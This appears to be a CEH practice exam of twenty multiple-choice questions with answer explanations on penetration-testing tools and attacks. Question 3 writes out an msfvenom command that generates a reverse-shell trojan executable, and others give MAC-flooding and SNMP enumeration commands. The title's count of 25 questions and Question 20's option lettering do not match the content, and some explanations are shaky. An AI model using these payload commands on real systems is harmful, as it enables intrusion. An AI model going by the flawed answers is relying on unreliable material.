CEH Practice Test 4 — 25 Questions

Question 1

A penetration tester uses the tool Reaver to target a Wi-Fi network. What vulnerability is the tester attempting to exploit?

Accepted Answer

WPS PIN brute-force weakness. Reaver is a tool specifically designed to exploit the WPS (Wi-Fi Protected Setup) PIN brute-force vulnerability. It targets the WPS registrar's lack of rate-limiting and the fact that the PIN is split into two halves (first half 4 digits, second half 3 digits with a checksum), allowing an attacker to recover the WPS PIN and subsequently the WPA2 pre-shared key in a matter of hours.

Answer

WPA2 4-way handshake capture

Answer

Weak WEP encryption keys

Answer

RADIUS authentication bypass

Question 2

A network administrator wants to prevent an attacker from using a network sniffer to capture traffic between a client and a web server. Which protocol should be enforced to encrypt all communication?

Accepted Answer

HTTPS. HTTPS (HTTP over TLS, RFC 2818) encrypts all communication between a client and a web server using TLS/SSL, preventing a network sniffer from capturing plaintext data such as cookies, URLs, or form submissions. This ensures confidentiality and integrity of the web traffic, directly countering passive eavesdropping attacks.

Answer

SNMP

Answer

FTP

Answer

HTTP

Question 3

A security analyst executes the command 'msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe' and transfers the file to a target. Which technique is being used?

Accepted Answer

Generating a Trojan. The command uses msfvenom to generate a Windows executable payload that establishes a reverse TCP connection back to the attacker's IP (192.168.1.10) on port 4444. This creates a trojan horse—malicious code disguised as a legitimate file (shell.exe)—which, when executed on the target, provides unauthorized remote access. The technique is specifically trojanization, not virus or worm propagation.

Answer

Creating a virus

Answer

Deploying a worm

Answer

Initiating a DoS attack

Question 4

During a penetration test, an analyst runs the command 'snmpwalk -v2c -c public 192.168.1.10' and receives a large amount of output. Which protocol and community string are being used?

Accepted Answer

SNMPv2c with community string public. The command 'snmpwalk -v2c -c public 192.168.1.10' explicitly specifies SNMP version 2c with the '-v2c' flag and the community string 'public' with the '-c' flag. SNMPv2c is the most common version for read-only queries, and 'public' is the default read-only community string. The large output indicates successful enumeration of the MIB tree, confirming the community string is correct.

Answer

SNMPv1 with community string public

Answer

SNMPv1 with community string private

Answer

SNMPv3 with user public

Question 5

During a penetration test, an attacker gains access to a system and wants to maintain persistent remote control. Which type of Trojan is specifically designed for this purpose?

Accepted Answer

Backdoor. A backdoor Trojan is specifically designed to bypass normal authentication mechanisms and provide an attacker with persistent, unauthorized remote access to a compromised system. Unlike other Trojans that perform a single malicious action, backdoors often install services or modify system startup entries (e.g., registry Run keys, cron jobs) to survive reboots, ensuring long-term control.

Answer

Ransomware

Answer

Keylogger

Answer

Downloader

Question 6

Which tool is specifically designed to crack Windows LM and NTLM hashes using precomputed tables?

Accepted Answer

Ophcrack. Ophcrack is specifically designed to crack Windows LM and NTLM hashes using precomputed rainbow tables. It relies on the time-memory trade-off technique, where hashes are looked up in precomputed tables rather than computed on the fly, making it highly efficient for these specific hash types. The tool is bundled with free rainbow tables for LM hashes and supports NTLM through additional table sets.

Answer

John the Ripper

Answer

Cain & Abel

Answer

Hashcat

Question 7

A security analyst receives an email from what appears to be the company's CEO requesting an urgent wire transfer. The email address is slightly misspelled (e.g., ce0@company.com instead of ceo@company.com). Which type of social engineering attack is this?

Accepted Answer

Spear phishing. Spear phishing is a targeted phishing attack aimed at a specific individual or group. In this scenario, the attacker sends an email impersonating the CEO to a specific security analyst, making it a spear phishing attempt. The target is the analyst, not the CEO, so it is not whaling, which targets senior executives directly.

Answer

Vishing

Answer

Phishing

Answer

Whaling

Question 8

A penetration tester runs the following command: `macof -i eth0 -s 192.168.1.100 -d 10.0.0.1`. Which attack is being performed?

Accepted Answer

MAC flooding. The `macof` tool is designed to flood a switch with packets containing random source MAC addresses, overwhelming the Content Addressable Memory (CAM) table. Once the CAM table is full, the switch enters a fail-open state and broadcasts all frames, allowing the attacker to sniff traffic that would normally be isolated to specific ports. This is a classic MAC flooding attack, not ARP poisoning or DHCP starvation.

Answer

DNS spoofing

Answer

ARP poisoning

Answer

DHCP starvation

Question 9

A security analyst performs a passive reconnaissance of a target domain using public resources. Which of the following techniques would be considered passive reconnaissance?

Accepted Answer

Performing a WHOIS lookup for the target domain. Passive reconnaissance involves gathering information without directly interacting with the target's systems, thus avoiding any network traffic that could be detected. A WHOIS lookup queries a public registry database (e.g., whois.arin.net) over port 43 or via a web interface, retrieving domain registration details without sending any packets to the target's own infrastructure. This makes it a purely passive technique.

Answer

Using Netcat to grab banners from the target's email server

Answer

Running Nmap SYN scan on the target's web server

Answer

Sending a ping sweep to the target's public IP range

Question 10

A company wants to test the security of its web application by simulating attacks from an external perspective. They have no prior knowledge of the internal network or application architecture. Which type of test should they perform?

Accepted Answer

Black-box test. A black-box test is the correct choice because the company has no prior knowledge of the internal network or application architecture. This simulates an external attacker with zero insider information, testing the application from an outsider's perspective without access to source code, network diagrams, or credentials. The test relies solely on publicly available information and direct interaction with the application's interfaces.

Answer

White-box test

Answer

Red team engagement

Answer

Gray-box test

Question 11

An ethical hacker is analyzing a piece of malware that uses a custom encryption algorithm. The malware sample contains a hardcoded key that is 16 bytes long. The analyst observes that the encrypted data is the same length as the plaintext. Which encryption mode is most likely being used?

Accepted Answer

ECB. ECB (Electronic Codebook) mode encrypts each block of plaintext independently using the same key, so the ciphertext length equals the plaintext length (assuming no padding is needed for exact block sizes). The hardcoded 16-byte key and identical input/output lengths strongly suggest ECB, as other modes typically add an IV or authentication tag, altering the output length.

Answer

GCM

Answer

CFB

Answer

CBC

Question 12

A security analyst observes a sudden surge in incoming UDP traffic to the company's DNS servers from multiple external IP addresses. The packets appear to be DNS queries with spoofed source IPs. Which type of DDoS attack is MOST likely occurring?

Accepted Answer

DNS amplification. The attack described involves DNS queries with spoofed source IPs sent to a DNS server, which then responds with large replies to the victim (the spoofed IP). This is a classic DNS amplification attack, a type of reflection-based DDoS that exploits the large response-to-query ratio (e.g., an ANY query can yield a response up to 70x larger) to overwhelm the target. The surge in incoming UDP traffic to the DNS server is the attacker's queries, while the amplified responses are directed at the spoofed victim.

Answer

SYN flood

Answer

UDP flood

Answer

ICMP flood

Question 13

Which password cracking technique involves trying every possible combination of characters until the correct password is found?

Accepted Answer

Brute force attack. A brute force attack systematically tries every possible combination of characters from a defined character set (e.g., lowercase, uppercase, digits, special symbols) until the correct password is found. This method guarantees eventual success but is computationally expensive and time-consuming, especially for long or complex passwords. It is the most exhaustive form of password cracking, as it does not rely on any precomputed data or wordlists.

Answer

Rainbow table attack

Answer

Dictionary attack

Answer

Hybrid attack

Question 14

An incident responder notices unusual outbound traffic from a host that is communicating with an external IP on port 4444. The traffic appears to be encrypted. Which tool could be used to initiate a connection to that external IP to gather a banner for service identification?

Accepted Answer

Telnet. Telnet can be used to connect to any TCP port, including port 4444, to manually interact with a service and retrieve its banner. Banners often reveal the service name, version, and other identifying information, which is critical for footprinting and reconnaissance. Even though the traffic is encrypted, the initial banner may be sent in cleartext before encryption begins, or the connection attempt itself can reveal the service type.

Answer

traceroute

Answer

nslookup

Answer

ping

Question 15

Drag and drop the steps to configure a firewall rule in iptables to block incoming SSH traffic into the correct order.

Accepted Answer

Check current rules, add drop rule for SSH, verify the new rule, save the rules, test connectivity. The correct sequence for configuring an iptables rule to block incoming SSH is to first check the current rules (e.g., with `iptables -L`) to avoid conflicts, then add the drop rule for SSH (e.g., `iptables -A INPUT -p tcp --dport 22 -j DROP`), next verify that the rule is in place (`iptables -L`), then save the rules permanently (e.g., `iptables-save`), and finally test the block by attempting an SSH connection from an external host.

Answer

Add drop rule for SSH, check current rules, verify the new rule, test connectivity, save the rules

Answer

Check current rules, add drop rule for SSH, test connectivity, verify the new rule, save the rules

Answer

Save the rules, check current rules, add drop rule for SSH, verify the new rule, test connectivity

Question 16

During a penetration test, you need to enumerate SMB shares on a Windows target. Which of the following tools is specifically designed for this purpose?

Accepted Answer

enum4linux. enum4linux is specifically designed to enumerate SMB shares and other information from Windows and Samba systems. It leverages the SMB/CIFS protocol to extract share listings, user lists, and other details using tools like smbclient, rpclient, and net, making it the correct choice for SMB enumeration.

Answer

ldapsearch

Answer

nmap

Answer

snmpwalk

Question 17

A security analyst examines a compromised Linux server and finds a hidden directory `/usr/share/.syslog` containing a modified version of `sshd` and a log cleaner script. This is indicative of which technique used to erase tracks?

Accepted Answer

Rootkit installation. The presence of a hidden directory containing a modified `sshd` binary and a log cleaner script is a classic sign of a rootkit installation. Rootkits replace core system binaries (like `sshd`) to maintain backdoor access and use log cleaners to erase evidence of their activity, directly aligning with the technique of erasing tracks.

Answer

Token impersonation

Answer

DLL injection

Answer

Steganography

Question 18

What is the primary purpose of using the Nmap flag -sS?

Accepted Answer

Perform a SYN stealth scan. The Nmap flag -sS instructs Nmap to perform a SYN stealth scan, also known as a half-open scan. It sends a TCP SYN packet to the target port and, if a SYN/ACK is received, the port is considered open; the scanner then sends a RST to tear down the connection before the full TCP three-way handshake completes. This technique avoids completing the connection, making it less likely to be logged by the target's application layer and is the default scan type when run with root privileges.

Answer

Enable OS detection

Answer

Perform a UDP scan

Answer

Perform a TCP connect scan

Question 19

A tester runs 'snmpwalk -v2c -c public 192.168.1.1' and receives a large amount of system information. What does this command do?

Accepted Answer

It walks the SNMP MIB tree using version 2c and the public community string.. The `snmpwalk` command is used to retrieve a subtree of management values from an SNMP agent. The `-v2c` flag specifies SNMP version 2c, which uses community-based security, and `-c public` provides the community string 'public' (often the default read-only community). The command walks the entire MIB tree starting from the root, returning all available OID values, which explains the large amount of system information received.

Answer

It performs a brute-force attack on SNMP community strings.

Answer

It enumerates users on a Windows domain.

Answer

It sets SNMP values using the private community string.

Question 20

Which TWO of the following are effective countermeasures against SNMP enumeration attacks? (Select 2)

Accepted Answer

Restrict SNMP access to trusted IP addresses using ACLs. Option A is correct because applying ACLs to restrict SNMP access to trusted IP addresses limits who can query the SNMP agent, preventing unauthorized enumeration from untrusted hosts. Option C is correct because changing default community strings (such as 'public' and 'private') to strong, unique values removes the easily guessed credentials that attackers use to enumerate SNMP data. Option B is not the best countermeasure because disabling SNMP entirely is impractical in environments where it is needed for legitimate monitoring and management. Option D is incorrect because enabling SNMPv3 with default passwords still leaves weak, guessable credentials that undermine SNMPv3's security features. Option E is incorrect because SNMPv1 with the community string 'private' uses a well-known default credential and lacks encryption and strong authentication, making enumeration easier.

Answer

Disable SNMP on all devices

Answer

Enable SNMPv3 with default passwords

Answer

Use SNMPv1 with community string 'private'